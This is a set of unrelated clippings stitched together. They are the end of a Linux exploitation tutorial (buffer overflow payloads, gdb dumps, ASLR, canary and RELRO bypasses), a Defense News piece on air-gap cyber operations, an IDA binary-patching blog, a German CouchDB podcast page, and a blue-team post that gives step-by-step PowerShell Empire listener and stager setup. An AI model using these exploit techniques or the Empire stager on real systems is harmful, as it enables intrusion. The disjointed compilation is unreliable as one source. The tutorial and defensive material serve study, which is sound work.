7ffd78047000-7ffd78048000 r--p 00020000 08:05 396954 /lib/x86\_64-linux-
gnu/ld-2.13.so  
7ffd78048000-7ffd7804a000 rw-p 00021000 08:05 396954 /lib/x86\_64-linux-
gnu/ld-2.13.so  
7fff7d479000-7fff7d49a000 rw-p 00000000 00:00 0 \[stack\]  
7fff7d589000-7fff7d58a000 r-xp 00000000 00:00 0 \[vdso\]  
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 \[vsyscall\]

Unfortunately, this leak is partially patched since 2.6.27 according to Julien
Tinnes and Tavis Ormandy\[10\], and these files seem to be protected if you
cannot ptrace a pid. Anyway, there was any other way using “/proc/self/stat”
and “/proc/self/wchan” that leak informations such as stack pointer and
instruction pointer \(=>ps -eo pid,eip,esp,wchan\), and by sampling “kstkeip”,
we could reconstruct the maps \(see fuzzyaslr by Tavis Ormandy\[11\]\).

Brute-forcing is always a very offensive way to get what you want, it takes
time, and you should know that every tries recorded in logs. The solution is
maybe in registers.

#### Return-to-registers

Using a debugger like GDB, can help you to find other ways to bypass some
protections like DEP as shown previously and ASLR of course. To study this
case, we will work with a better example:

\#include <stdio.h>  
\#include <string.h>  
vuln\(char\* string\)  
\{  
char buffer\[50\];  
strcpy\(buffer, string\); // Guys\! It's vulnerable\!  
\}  
  
main\(int argc, char\*\* argv\)  
\{  
if \(argc > 1\)  
vuln\(argv\[1\]\);  
\}

By the way, don’t forget to disable the stack protector \(compile as follows:
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 vuln2.c -o
vuln2\). Will see after what a canary is, but now, just let’s focus on ASLR
for the moment.

With few tries, we see that we can rewrite the instruction pointer:

\(gdb\) run \`python -c 'print "A"\*78'\`  
The program being debugged has been started already.  
Start it from the beginning? \(y or n\) y  
Starting program: /home/fluxiux/aslr/vuln2 \`python -c 'print "A"\*78'\`  
Program received signal SIGSEGV, Segmentation fault.  
0x0000414141414141 in ?? \(\)

Put now a break to the “vuln\(\)” function’s call and the return address:

\(gdb\) disas main  
Dump of assembler code for function main:  
0x0000000000400515 <+0>: push %rbp  
0x0000000000400516 <+1>: mov %rsp,%rbp  
0x0000000000400519 <+4>: sub $0x10,%rsp  
0x000000000040051d <+8>: mov %edi,-0x4\(%rbp\)  
0x0000000000400520 <+11>: mov %rsi,-0x10\(%rbp\)  
0x0000000000400524 <+15>: cmpl $0x1,-0x4\(%rbp\)  
0x0000000000400528 <+19>: jle 0x40053d <main+40>  
0x000000000040052a <+21>: mov -0x10\(%rbp\),%rax  
0x000000000040052e <+25>: add $0x8,%rax  
0x0000000000400532 <+29>: mov \(%rax\),%rax  
0x0000000000400535 <+32>: mov %rax,%rdi  
0x0000000000400538 <+35>: callq 0x4004f4 <vuln>  
0x000000000040053d <+40>: leaveq  
0x000000000040053e <+41>: retq \(gdb\) break \*0x000000000040053e  
Breakpoint 2 at 0x40053e  
End of assembler dump.  
\(gdb\) break \*0x400538  
Breakpoint 1 at 0x400538  
\(gdb\) break \*0x000000000040053e  
Breakpoint 2 at 0x40053e

After that, put a break on the return address of the “vuln\(\)” function:

\(gdb\) disas vuln  
Dump of assembler code for function vuln:  
0x00000000004004f4 <+0>: push %rbp  
0x00000000004004f5 <+1>: mov %rsp,%rbp  
0x00000000004004f8 <+4>: sub $0x50,%rsp  
0x00000000004004fc <+8>: mov %rdi,-0x48\(%rbp\)  
0x0000000000400500 <+12>: mov -0x48\(%rbp\),%rdx  
0x0000000000400504 <+16>: lea -0x40\(%rbp\),%rax  
0x0000000000400508 <+20>: mov %rdx,%rsi  
0x000000000040050b <+23>: mov %rax,%rdi  
0x000000000040050e <+26>: callq 0x400400 <strcpy@plt>  
0x0000000000400513 <+31>: leaveq  
0x0000000000400514 <+32>: retq  
End of assembler dump.  
\(gdb\) break \*0x0000000000400514  
Breakpoint 3 at 0x400514

As we can see, the RSP contains the return address:

\(gdb\) info reg rsp  
rsp 0x7fffffffe148 0x7fffffffe148  
\(gdb\) x/20x $rsp - 40  
\[...\]  
0x7fffffffe140: 0x00000000 0x00000000 0x0040053d 0x00000000  
\[…\]

The return address as been overwritten \(we also noticed that previously\):

\(gdb\) info reg rsp  
rsp 0x7fffffffe148 0x7fffffffe148  
\(gdb\) x/20x $rsp - 40  
0x7fffffffe120: 0x41414141 0x41414141 0x41414141 0x41414141  
0x7fffffffe130: 0x41414141 0x41414141 0x41414141 0x41414141  
0x7fffffffe140: 0x41414141 0x41414141 0x41414141 0x00004141  
0x7fffffffe150: 0xffffe248 0x00007fff 0x00000000 0x00000002  
0x7fffffffe160: 0x00000000 0x00000000 0xf7a66eff 0x00007fff

And running at the last breakpoint, we can observe that register RAX points to
the beginning of our buffer:

\(gdb\) stepi  
0x00000000004004f8 in vuln \(\)  
\(gdb\) info reg rax  
rax 0x7fffffffe520 140737488348448  
\(gdb\) x/20x $rax - 40  
0x7fffffffe4f8: 0x36387816 0x0034365f 0x00000000 0x2f000000  
0x7fffffffe508: 0x656d6f68 0x756c662f 0x78756978 0x6c73612f  
0x7fffffffe518: 0x75762f72 0x00326e6c 0x41414141 0x41414141  
0x7fffffffe528: 0x41414141 0x41414141 0x41414141 0x41414141  
0x7fffffffe538: 0x41414141 0x41414141 0x41414141 0x41414141

\(Note that if you’re not sure, try with this payload: \`python -c ‘print
“A”\*70+”B”\*8′\`\).

After that, we look for a valid “jmp/callq rax”:

fluxiux@handgrep:~/aslr$ objdump -d ./vuln2 | grep "callq"   
4003cc: e8 6b 00 00 00 callq 40043c <call\_gmon\_start>  
\[...\]  
400604: ff d0 callq \*%rax  
..

At “0×400604” could be great, we just have to replace the junk data \(“A”\) by
NOP sled and a precious shellcode that fits on the buffer and we replace the
instruction pointer by the address “0×400604”. On 32-bits, “Sickness” has
wrote a good article about that if you are interested\[12\].

But as you know, by default on Linux \(especially the user friendly one:
Ubuntu\), programs are compiled with the bit NX support, so be lucky to use
this technique on nowadays systems. Indeed, we use also an option to disable
the stack protector, but what is exactly.

### Stack Canary

Named for their analogy to a canary in a coal mine, stack canary are used to
protect against stack overflow attacks. Compiling with the stack protector
option \(which is used by default\), each dangerous function is changed in his
prologue and epilogue.

If we compile the previous code letting stack protector to be used, we get
something like that:  
fluxiux@handgrep:~/ssp$ gcc -z execstack -mpreferred-stack-boundary=4 vuln2.c
-o vuln3  
fluxiux@handgrep:~/spp$ ./vuln3  
fluxiux@handgrep:~/spp$ ./vuln3 \`python -c 'print "A"\*76'\`  
\*\*\* stack smashing detected \*\*\*: ./vuln3 terminated

Disassembling the “vuln\(\)” function, we can see in the epilogue that a
comparison is done:

\(gdb\) disas vuln  
Dump of assembler code for function vuln:  
\[...\]  
0x000000000040058d <+41>: callq 0x400470 <strcpy@plt>  
0x0000000000400592 <+46>: mov -0x8\(%rbp\),%rdx  
0x0000000000400596 <+50>: xor %fs:0x28,%rdx  
0x000000000040059f <+59>: je 0x4005a6 <vuln+66>  
0x00000000004005a1 <+61>: callq 0x400460 <\_\_stack\_chk\_fail@plt>  
0x00000000004005a6 <+66>: leaveq  
\[...\]

If the value in “fs:0×28” is the same as in ”%rdx”, the “vuln\(\)” function
will end properly. In other case, the function “\_\_stack\_chk\_fail\(\)” will
be called and an error message shows up \(“\*\*\* stack smashing detected
\*\*\*: ./vuln3 terminated ”\).

Putting a break on “\_\_stack\_chk\_fail\(\)” function, we can observe the
values on $RSP:

\(gdb\) run \`python -c 'print "A"\*57'\`  
Starting program: /home/fluxiux/aslr/vuln3 \`python -c 'print "A"\*57'\`  
  
Breakpoint 1, 0x00000000004005cb in main \(\)  
\(gdb\) c  
Continuing.  
Breakpoint 2, 0x00000000004005a1 in vuln \(\)  
\(gdb\) x/30x $rsp  
0x7fffffffe100: 0x00000000 0x00000000 0xffffe535 0x00007fff  
0x7fffffffe110: 0x41414141 0x41414141 0x41414141 0x41414141  
0x7fffffffe120: 0x41414141 0x41414141 0x41414141 0x41414141  
0x7fffffffe130: 0x41414141 0x41414141 0x41414141 0x41414141  
0x7fffffffe140: 0x41414141 0x41414141 0xbf630041 0xe3b6079a  
0x7fffffffe150: 0xffffe170 0x00007fff 0x004005d0 0x00000000  
0x7fffffffe160: 0xffffe258 0x00007fff 0x00000000 0x00000002  
0x7fffffffe170: 0x00000000 0x00000000

At “0x7fffffffe148”, we have rewrote 1 byte of the stack cookie value saved on
RSP \(that’s why the breakpoint 2 stopped \_\_stack\_chk\_fail\(\)\). At
“0x7fffffffe158” , we see the return address of main. So the structure of this
canary should be like in figure 3:

<img src='img/Temp2_7967.png' width='242' height='144' alt='alt' />

There are 3 kinds of canaries:

  * Null \(0×0\),
  * terminator \(letting the first bytes to be “\a0\xff”\),
  * random.

The first 2 kinds are easy to bypass\[14\], because you just have to fill the
buffer with your shellcode, giving a desired value to be at the right position
and rewrite the instruction pointer. But for the random one, it is a little
more fun, because you have to guess its value at each execution \(Ow\! A kind
like ASLR?\).

For random canaries, the “\_\_gard\_\_setup\(\)” fills a global variable with
random bytes generated by “/dev/urandom”, if possible. Latter in the program,
only 4|8 bytes are used to be the cookie. But, if we cannot use the entropy of
“/dev/urandom”, by default we will get a terminator or a null cookie.

Brute-force it is a way, but you will use to much time. By overwriting further
than the return address, we can hook the execution flow using GOT entries. The
canary will of course detect the compromising, but too late. A very good
article covering the StackGuard and StackShield explain four ways to bypass
these protections\[15\].

Format string vulnerabilities or heap overflow for example, are more easy to
exploit with this protection, but this article is not finished yet and we will
see another memory corruption mitigation technique.

### RELRO

In recent Linux distributions, a memory corruption mitigation technique has
been introduced to harden the data sections for binaries/processes. This
protection can be viewable reading the program headers \(with readelf for
example\):

fluxiux@handgrep:~/ssp$ readelf -l vuln3  
\[...\]  
Program Headers:  
\[...\]  
GNU\_RELRO 0x0000000000000e28 0x0000000000600e28 0x0000000000600e28  
0x00000000000001d8 0x00000000000001d8 R 1

On current Linux, your binaries are often compiled with RELRO. So that mean
that following sections are mapped as read-only:

08 .ctors .dtors .jcr .dynamic .got

Optionally, you can compare dissecting a non-RELRO binary, as follows:

fluxiux@handgrep:~/ssp$ gcc -Wl,-z,norelro vuln2.c -o vuln4  
\[…\]  
LOAD 0x0000000000000768 0x0000000000600768 0x0000000000600768  
0x0000000000000200 0x0000000000000210 RW 200000  
\[…\]  
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss  
\[...\]

The exploitation of a format string bug for example, using the format
parameter “%n” to write to any arbitrary address like GOTs is suppose to fail.
But as we noticed previously, PLT GOTs have “write” permissions and then we
are face to a partial-RELRO only.

With the example in trapkit’s article about RELRO\[16\], we could see that it
is very easy to rewrite a PLT entry. But in some cases \(mostly in dist-
packages\), binaries are compiled with a full-RELRO:

fluxiux@handgrep:~/relro$ gcc -Wl,-z,relro,-z,now -o fullrelro fmstr.c  
\[..\]  
fluxiux@handgrep:~/relro$ readelf -l ./fullrelro | grep "RELRO"   
GNU\_RELRO 0x0000000000000df8 0x0000000000600df8 0x0000000000600df8  
fluxiux@handgrep:~/relro$ readelf -d ./fullrelro | grep "BIND"   
0x0000000000000018 \(BIND\_NOW\)

Note: BIND\_NOW indicates that the binary is using full-RELRO.

The entire GOT is remapped as read-only, but there are other sections to write
on. GOTs are use mostly for flexibility. Detour with “.dtors” can be perform
as Sebastian Krahmer described in his article about RELRO\[17\].

We have seen common Linux protection used by default, but the evolution of
kernels and architectures have made things more difficult.

## The x86\_64 fact and current systems hardening

With time, the new versions of Linux distribution become well hardened by
default. In my studies, the Ubuntu one surprised me a lot, because in addition
to these protections implanted by default, this system turns to take some
openBSD solutions to be as user friendly and secure as possible. Moreover, we
have seen few protections and ways to bypass it, but the 64-bits give us other
difficulties.

As you notices, addresses have changed and it more difficult to exploit some
memory corruption because of the byte “\x00”, considered as a EOF for some
functions like “strcpy\(\)”. We saw that NX is enabled and the compilation in
gcc with its support are made by default. But the worst is coming. Indeed, we
now that the randomization space is larger but what interest us, is the System
V ABI for x86\_64\[8\].

Things have changed for parameters in functions. Indeed, instead of copying
parameters in the stack, the first 4 parameters are stored in RBX, RBP, RDI,
RSI, R12, R13, R14, R15. I suggest you to read the slides Jon Larimer about
“Intro to x64 Reversing”\[18\]. So we use the knowledge of x86-64 buffer
overflow exploits and borrowed code chunks\[19\] that help us to understand
the problems of NX, System V ABI x86\_64 differences with x32, and ways to
bypass them using instructions to write to put a value on one register, and
call the function “system\(\)” for example that will use it as a parameter.  
You will see alsa, that other sophisticated attacks like Return-oriented
Programing are use to bypass these protection that make life difficult in an
exploit process.

## References & Acknowledgements

\[1\] ELF HOWTO -  
http://cs.mipt.ru/docs/comp/eng/os/linux/howto/howto\_english/elf/elf-
howto-1.html  
\[2\] Tool Interface Standard \(TIS\) Executable and  
Linking Format \(ELF\) Specification  
  
\[3\] Working with the ELF Program  
Format – http://www.ouah.org/RevEng/x430.htm  
\[4\] Executable\_and\_Linkable\_Format\#Applications  
-http://www.linuxjournal.com/article/1060  
http://en.wikipedia.org/wiki/Executable\_and\_Linkable\_Format\#Applications  
\[5\] elf.h: ELF types, structures, and macros -  
http://sourceware.org/git/?p=glibc.git;a=blob\_plain;f=elf/elf.h  
\[6\] The ELF Object File Format by Dissection -  
http://www.linuxjournal.com/article/1060  
\[7\] Smashing the stack for fun and Profit -  
http://www.phrack.org/issues.html?issue=49&id=14\#article  
\[8\] System V Application Binary Interface on x86-64 -  
http://www.x86-64.org/documentation/abi.pdf  
\[9\] Hacking – The art of exploitation \(by Jon  
Erickson\)  
\[10\] Local bypass of Linux ASLR through /proc  
information leaks -  
http://blog.cr0.org/2009/04/local-bypass-of-linux-aslr-through-proc.html  
\[11\] Fuzzy ASLR – http://code.google.com/p/fuzzyaslr/  
\[12\] ASLR bypass using ret2reg -  
http://www.exploit-db.com/download\_pdf/17049  
\[13\] /dev/urandom -  
http://en.wikipedia.org/wiki//dev/urandom  
\[14\] Stack Smashing Protector \(FreeBSD\) -  
http://www.hackitoergosum.org/2010/HES2010-prascagneres-Stack-Smashing-
Protector-in-FreeBSD.pdf  
\[15\] Four different tricks to bypass StackShield and  
StackGuard protection -  
http://www.coresecurity.com/files/attachments/StackguardPaper.pdf  
\[16\] RELRO: not so well known memory -  
http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.http://tk-
blog.blogspot.com/2009/02/relro-not-so-well-known-memory.htmlhtml  
\[17\] RELRO by Sebastian Krahmer -  
http://www.suse.de/%7Ekrahmer/relro.txt  
\[18\] Intro to x64 reversing -  
http://lolcathost.org/b/introx86.pdf  
\[19\] x86-64 buffer overflow exploits and the borrowed  
code chunks – http://www.suse.de/~krahmer/no-nx.pdf

# DoD Looking to ‘Jump the Gap’ Into Adversaries’ Closed Networks | Defense News | defensenews.com
**Created:**| _1/16/2013 10:40:43 AM_  
---|---  
**Updated:**| _1/16/2013 10:40:43 AM_  
**Author:**| __  
**Tags:**| _intelligence signal sdr sigops_  
  

  *   *   *     * _ LinkedIn_
    * _ Tumblr_
    * _ StumbleUpon_
    * _ Reddit_
    * _ Del.icio.us_
    * _ Digg_

  *   * A
  * A
  * 

<img src='img/Temp2_2323.jpg' alt='Iranian President Mahmoud Ahmadinejad
visits the Natanz uranium enrichment facilities, where a &#8220;closed&#8221;
computer network was infected by malware introduced via a small flash drive.'
/>

###### Iranian President Mahmoud Ahmadinejad visits the Natanz uranium
enrichment facilities, where a “closed” computer network was infected by
malware introduced via a small flash drive. \(AFP\)

  * Filed Under

  * C4ISR Journal
  * C4ISR News

Iran’s uranium enrichment facility at Natanz may have had one of the most
secure computer systems in the world. The building housing the nuclear
program’s equipment is underground, protected by a combination of concrete
walls, earth and military guards.

And it was a “closed” network, sealed off from the Internet and unsusceptible
to vulnerabilities in the system’s Windows-based software.

All those precautions, however, didn’t stop the Stuxnet worm from infecting
the system, disrupting the delicate balance of uranium-enriching centrifuges
and rendering them useless. Stuxnet, part of a broader U.S./Israeli
cyberwarfare campaign against Iran’s nuclear program called “Olympic Games,”
was carried in on a small flash drive. Someone, either a spy or an unwitting
accomplice, plugged it into a USB port on a computer inside the complex and
let loose into the “secure” Iranian system the most devastating cyber weapon
ever known.

Without smuggling that cyber weapon physically into the plant, the operation
never would have worked, which underscores the problem: No matter how high-
tech the cyber tool, the glaring weak link has been the ability to reach out
and touch a system. A breach of physical security was required, either
secretly getting hold of an employee’s thumb drive and infecting it, or
working with someone on the inside to covertly plug the device into the
network.

With thumb drives now a known vulnerability, most countries have banned their
use on sensitive systems. Iran forbade them at Natanz shortly after the
Stuxnet worm began to work its magic; the Pentagon banned their use in 2008.

It was right around that time that scientists began to turn their attention to
another project: trying to access these protected networks remotely, through
the air, by reading activity via electromagnetic field distortions and
inserting code via radio frequencies. Accessing these networks — networks that
don’t have wireless routers and aren’t connected to the Internet — became
something of a holy grail, dubbed “jumping the gap.”

The science has progressed significantly, and now the Army is looking at
demonstrating technology that can be deployed on aircraft and ground vehicles
that can wage this kind of cyber warfare.

The Army’s Intelligence and Information Warfare Directorate, known as I2WD,
hosted a classified planning day Nov. 28. Representatives from 60 companies
and labs attended to discuss what can be done in the realm of electronic
warfare and cyber, according to a source familiar with the program.

The roughly half-dozen objectives of the Tactical Electromagnetic Cyber
Warfare Demonstrator program are classified. \(The TECWD program is pronounced
“techwood” by participants.\) The source said the program is designed to
demonstrate ready-made systems, dubbed “boxes,” that can perform a variety of
tasks. Some are somewhat typical fare, like systems aimed at the improvised
explosive device threat.

But among the objectives are these: inserting and extracting data from sealed,
wired networks. The possibilities are remarkable. Imagine being able to roll a
vehicle near a facility, sit for a short period while inserting a worm, and
leave without having to buy off any employee or sneak anything past an
attentive guard. Better yet, a stealthy unmanned aerial vehicle could be
quietly flown far above a facility to insert code even in contested airspace.
With that kind of tactical deployment, cyber could become a critical part of a
wide variety of operations, as localized effects could be integrated with
kinetic activities.

The Army program is designed specifically to test capabilities for air and
ground platforms, according to an invitation to an information day on the
program released by I2WD.

“The TECWD demonstration effort will serve as a technology demonstrator for
offensive electronic attack, defensive electronic attack, electronic
protection, and electronic support, and EW enabled cyber on ground and air
platforms,” the invitation read. “TECWD will help the Army assess technologies
and capabilities for potential applicability in the Army’s next generation EW
and beyond.”

The program, which will consist of a series of demonstrations roughly every
three months for the next two years, will test a variety of electronic
warfare, or EW, capabilities, said Moses Mingle, branch chief of the EW
systems ground branch at I2WD.

“It’s not a system; it’s a demonstration platform,” Mingle said. “Basically,
we’re vetting systems concepts: tactical EW cyber scenarios that could be
deployed in the future.”

Asked if one of the objectives is to demonstrate a system that could jump the
gap and access systems remotely, Mingle declined to go into detail, citing
classification issues, but said, “That’s a part of it, but not all of it.”

U.S. intelligence agencies began to worry about distortions to the
electromagnetic fields around computer systems, and the potential that they
would provide unique signatures that could tip off network activity, in the
1980s. The principle behind it is based on simple physics. Electronics in even
a closed network emit an electromagnetic signal, however faint and accidental.

So at the time, a series of research efforts was undertaken to study these
distortions, known as compromise emanations, under the code name “Tempest.”
Could these the emanations be exploited in any reliable way? Researchers found
that keystrokes could be detected from signals sent from keyboards to computer
units, as well as information on a monitor. The ability to detect these
disturbances has become increasingly sophisticated, with systems able to pick
out signals from greater distances with greater clarity.

More recently, scientists have been paying special attention to the inverse of
reading these emanations: insertion of data using radio frequencies. Again, in
theory, since a wire can act as an antenna, an electromagnetic signal can be
engineered and potentially transmitted to that wire.

The precision required is tremendous. Popular culture has introduced much of
the world to the concept of the electromagnetic pulse, as featured in the
George Clooney movie “Ocean’s Eleven.” \(Don Cheadle’s character, quite
implausibly, fries the electrical grid of Las Vegas.\) The pulses are
typically created by extraordinarily large systems supported by tremendous
supplies of energy or as a side effect of nuclear detonations. They work as
blunt-force instruments, frying a system and rendering the electronics
useless.

The TECWD challenge would be a technique that would transmit not a destructive
pulse but a signal finessed to a specific network. It’s more scalpel than
sledgehammer.

The technology does exist, but the ability to add data still has limitations,
mainly proximity and bandwidth, experts said. The “transmission” system has to
get quite close to the targeted network. And at current levels, complex data
can take extended periods to insert. Experts declined to provide full
specifics on data transfer rates and range for data insertion using radio
frequencies, citing the classified status of the capabilities and national
security issues.

The actual power usage is far less than you’d expect: One expert said systems
as small as man-packable radios could serve as the forward entry point for
these types of cyber penetrations.

The recognition that electronic warfare methods can be critical for future
cyber applications is clearly making its way up the leadership chain.

At a recent event at the Naval Surface Warfare Center’s Crane Division in
Crane, Ind., Adm. Jon Greenert, chief of naval operations, made the case.

“We have to understand better the electromagnetic spectrum,” he said. “Cyber,
our radar and communication, everything. If you control the electromagnetic
spectrum, you control the fight.”

The cryptic remarks reflect the classified nature of nearly everything in the
cyber realm, and particularly in regards to offensive cyber EW capabilities.

But the possibilities are being explored as the U.S. military increasingly
recognizes the potential of cyber weapons in operations.

The actual technology that allows for the insertion of data — transmitting
cyber into a closed system — isn’t novel, said retired Air Force Maj. Gen.
Dale Meyerrose, former associate director of national intelligence.

“This is old technology,” he said. “The technology itself isn’t new, but the
application of the technology is new, and the software running the technology
on some of these devices is new.”

Meyerrose, who runs the Meyerrose Group, said connecting to closed networks
using radio frequencies is about five years old, but some of the complications
of cyber, including legal authority, have slowed progress. “This could be used
to drop a Trojan into a system,” he said. “Like everything else in cyber,
there are not a lot of legal parameters. Like everything else in cyber, our
legal system is about 20 years behind.”

But if the legal questions and technical limitations are worked out, a new era
of integrated cyberwarfare may be dawning.

———

This story appears in the January-February issue of C4ISR Journal.

**View Comments ** | **Share your thoughts »**
### More In C4ISR Journal

# Marco Ramilli's Blog: How to Patch Binary with IDA Pro

**Created:**| _4/21/2011 10:15:19 AM_  
---|---  
**Updated:**| _4/21/2011 10:15:19 AM_  
**Author:**| __  
**Tags:**| _iDA reversing patch-based_  
  

## How to Patch Binary with IDA Pro

Jan

25

Last night I received a couple of emails from friends of mine asking how to
patch binaries through IDA Pro. I was pretty tired for writing a full
answering email so I decided to send them a good link... I wasn't able to find
out a good link on the argument. :O \!\!

  

For this reason today I want to show you how to patch a binary using IDA Pro.
The patching process is maybe the most difficult part of reversing engineering
since you need to modify directly the binary code without compromising the
program control flow. You need to figure out what the binary does, where it
does what, and how it performs the actions you want to modify. For example, if
we consider a key-generator design process what is mainly needed is the key
generation function. In order to build the generation procedure \(in the key-
generator\)we need to copy the "generator function" \(in the binary\) and
paste it on a generic assembler "print out" template. Running the compiled
template you will see as output the generated keys. If you prefer to patch the
original key-generator you need inject/modify/delete instructions directly on
the binary without altering the control flow and without triggering exception
handlers.

  

_To remember: In this post I am not going into the details on "the binary
patching process" but I am going to explain how to use IDA for such a
process._

  

First of all you need to edit an IDA configuration file called **idagui.cfg**.
The file has been placed from the installer into your
IDAFolder/cfg/idagui.cfg. On my Windows machine it is placed into: C:\Program
Files\IDA Free\cfg\idagui.cfg.

  

You want to change the following two lines: **DISPLAY\_PATCH\_SUBMENU = YES**
and **DISPLAY\_COMMAND\_LINE = NO**\(but you might want to see it, so put an
uppercase YES\)

  

<img src='img/Temp2_5213.png' />

Running your IDA Pro you now see a new sub menu **EDIT - > Patch Program**.

  

  
<img src='img/Temp2_5211.png' />

  

Now, using the "Patch program" submenu you are able to edit the IDA database.
Don't forget that you are now editing the IDA database which represents the
real binary \(it isn't the original binary\) so you aren't patching you binary
yet.

  

Once you've done with your changes you are now ready to generate the **DIFF**
file through: FILE->Produce File-> Create DIFF File, as shown in the following
image.

  

<img src='img/Temp2_5212.png' />

The **DIFF** file does NOT include the copy of the modified binary but it
simply enumerates what and where changes happened. For example the following
listing is an example of what **DIFF** file includes.

  

name.exe

00001545: 7D EB

00001546: 2B 2A

0000158D: 7C 7D

0000158E: B9 B8

000015DE: 75 74

000015DF: 1F 1E

000015E3: 76 75

000015E4: 16 15

00001607: 74 EB

00001608: 29 28

  

In address _00001545_ the byte****_7D_ became _EB,_ in address _000015DF_ the
byte _1F_ became _1E_ etc.

Now what you need is to download and compile the following utility called
**ida\_patcher.c**\(from here\). ida\_patcher does the real patching.

  

Lets run the patcher in the following way :

  

**./ida\_patcher -i executable.exe -p executable.diff**

**  
**

Where**executable.exe** is the original binary file and **executable.diff** is
the **DIFF** file from IDA Pro. Watch out that ida\_patcher modifies the
original binary, so be sure to have a backup of your original one. Now you've
got the patched file ready to be spread ;\)

**  
**

**\*UPDATE\***

Another great tool to batch binary using DIFF file is here \(thanks to
StalkR\)

# CRE125 CouchDB - Chaosradio Podcast Network

**Created:**| _6/20/2009 8:55:01 PM_  
---|---  
**Updated:**| _6/20/2009 8:55:08 PM_  
**Author:**| __  
**Tags:**| _Databases_  
  

# CouchDB

Die moderne Key/Value-Datenbank lädt Entwickler zum Entspannen ein

  
Veröffentlicht am: 10.06.2009, 14:00 Uhr  
Aufnahme vom: 04.06.2009  

Teilnehmer: Tim Pritlove \(Moderation\), Jan Lehnardt, Alexander Lang

<img src='img/Temp2_1293.png' />Direkter Download der Mediendatei  
  
Dateigröße: 112.6 MB  
Format: MPEG-1 Audio Layer III Audio  
Dauer: 02:43:49h  
  
  
---  
CouchDB ist ein vergleichsweise neues Projekt im Bereich der Datenbanken, dass
durch eine Reihe frischer Ansätze mit den etablierten Konzepten relationaler
Datenbanken bricht. CouchDB speichert Daten dokumentenorientiert und ohne
feste Struktur und orientiert sich in seinem Kommunikationsmodell am World
Wide Web und nutzt dessen Standards wie z.B. HTTP. Im Gespräch mit Tim
Pritlove erläutern Jan Lehnardt und Alexander Lang die Ideen und Annahmen von
CouchDB und wie sich mit dem neuen Subsystem moderne Webanwendungen schreiben
lassen.

Links:

  * Jan Lehnardt
  * Alexander Lang
  * CouchDB
  * WP: CouchDB
  * Ruby
  * Ruby on Rails
  * Webmontag
  * WP: MySQL
  * WP: SQL
  * WP: Relationale Datenbank
  * WP: Relation
  * WP: Tag
  * WP: Topologie
  * WP: Fallacies of Distributed Computing
  * Damien Katz
  * WP: Lotus Notes
  * WP: Erlang
  * CRE082 Erlang
  * ejabberd
  * WP: JavaScript
  * Erlang - Declarative Real Time Programming Now\!
  * WP: Replikation
  * WP: ActiveRecord
  * WP: Datenbankindex
  * WP: Proxy
  * Hypertext Transfer Protocol
  * MySQL Proxy
  * WP: Ajax
  * nginx
  * WP: Uniform Resource Locator \(URL\)
  * WP: JavaScript Object Notation \(JSON\)
  * WP: Benevolent Dictator for Life
  * WP: Assoziatives Array \(Key/Value Pairs\)
  * WP: Lazy Evaluation
  * WP: Universally Unique Identifier \(UUID\)
  * WP: Lock
  * WP: Multiversion Concurrency Control
  * Lucene Search Engine
  * WP: HTTP ETag
  * MongoDB
  * Project Voldemort - A distributed database
  * Tokyo Cabinet
  * memcacheDB distributed key-value storage system
  * WP: Berkeley DB
  * Solr
  * CouchDB Lounge
  * Twisted
  * Benchmarks: You are Doing it Wrong
  * couch.io
  * Apache Software Foundation
  * Apache Incubator

# Tales of a Blue Teamer: Detecting Powershell Empire shenanigans with Sysinternals | HoldMyBeer
**Created:**| _5/10/2019 8:05:35 AM_  
---|---  
**Updated:**| _5/10/2019 8:05:35 AM_  
**Author:**| __  
**Tags:**| _post-exploitation powershell_  
  

  

<img src='img/Temp2_7910.png' width='392' height='254' />

Sysinternals is my go to Windows toolkit for malware analysis, incident
response, and troubleshooting. Sysinternals contain tools that enable the user
to analyze the inner workings of a Windows system. In this blog post, I will
be covering how to use Sysinternals in Red vs.Blue competitions to detect Red
team activity.

# DISCLAIMER

**The information contained in this blog post is for educational purposes
ONLY\! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any
responsibility for any misuse or damage of the information provided in blog
posts, discussions, activities, or exercises.**

# DISCLAIMER

# Background

## Knowing your enemy

In the famous words of Sun Tzu, “If you know the enemy and know yourself, you
need not fear the result of a hundred battles. If you know yourself but not
the enemy, for every victory gained you will also suffer a defeat. If you know
neither the enemy nor yourself, you will succumb in every battle.”

This quote illustrates a very important concept and in which to defend, you
must understand your adversary. We will utilize Powershell Empire \(Empire\)
to simulate an adversary so we can detect actions performed by Empire with
Sysinternals. Before we start, I would like to give credit to Mark
Russinovich’s Youtube video on Sysinternals. This video generated the idea for
this blog post and a majority of the content.

## Target audience: Red vs. Blue

This blog post is targeted at individuals competing in Red vs. Blue
competitions who need to defend Windows. The mitigations in this blog post are
targeted at competition environments. Please review each mitigation carefully
if you choose to use them outside a competition environment.

## Incident response reports

As an undergrad, I competed in several Red vs. Blue competitions\(CCDC, IRSeC,
ISTS, UB Lockdown, Alfred state\) as a Blue Teamer, and all of them had
incident response\(IR\) reports. Throughout these competitions, the Red Team
will attack Blue Teams and perform malicious actions. The hope is that Blue
Teams can setup preventions to stop this from happening or the ability to
detect it. Once an incident has been detected, the Blue Team must write up a
report on the incident. An IR report should include the following for a
competition:

  * **BE PROFESSIONAL**
  * Team number
  * Date
  * Include timeframe of attack
  * Assets that were deleted, modified, or added
  * Scope of the attack – Users, machines, etc
  * IOCs – IP addresses, domains, usernames, etc

# Creating the Empire

## Install/Setup Powershell Empire on Kali Linux

  1. Spin up a Kali Linux
  2. cd /opt
  3. git clone https://github.com/EmpireProject/Empire.git
  4. cd Empire
  5. ./setup/install.sh 
    1. Hit enter to set a random server password
  6. ./empire

## Setup/Configure HTTP listener

  1. listeners
  2. uselistener http 
    1. set Name http80
    2. set Host http://<IP addr of Kali Linux>:80
    3. execute<img src='img/Screen-Shot-2019-02-26-at-3.08.56-PM-300x113.png' width='555' height='209' />
    4. back

## Create Powershell stager

  1. usestager multi/launcher http80
  2. execute<img src='img/Screen-Shot-2019-02-26-at-3.10.18-PM-300x67.png' width='515' height='115' />
  3. Copy Powershell output string

## Detonate Powershell stager

  1. Spin up a Windows 10 VM and login
  2. Open a Powershell prompt as Administrator
  3. Copy Powershell output string and hit enter<img src='img/Screen-Shot-2017-11-22-at-7.04.35-PM-768x138.png' width='683' height='123' /><img src='img/Screen-Shot-2017-11-22-at-7.16.44-PM-768x64.png' width='696' height='58' />

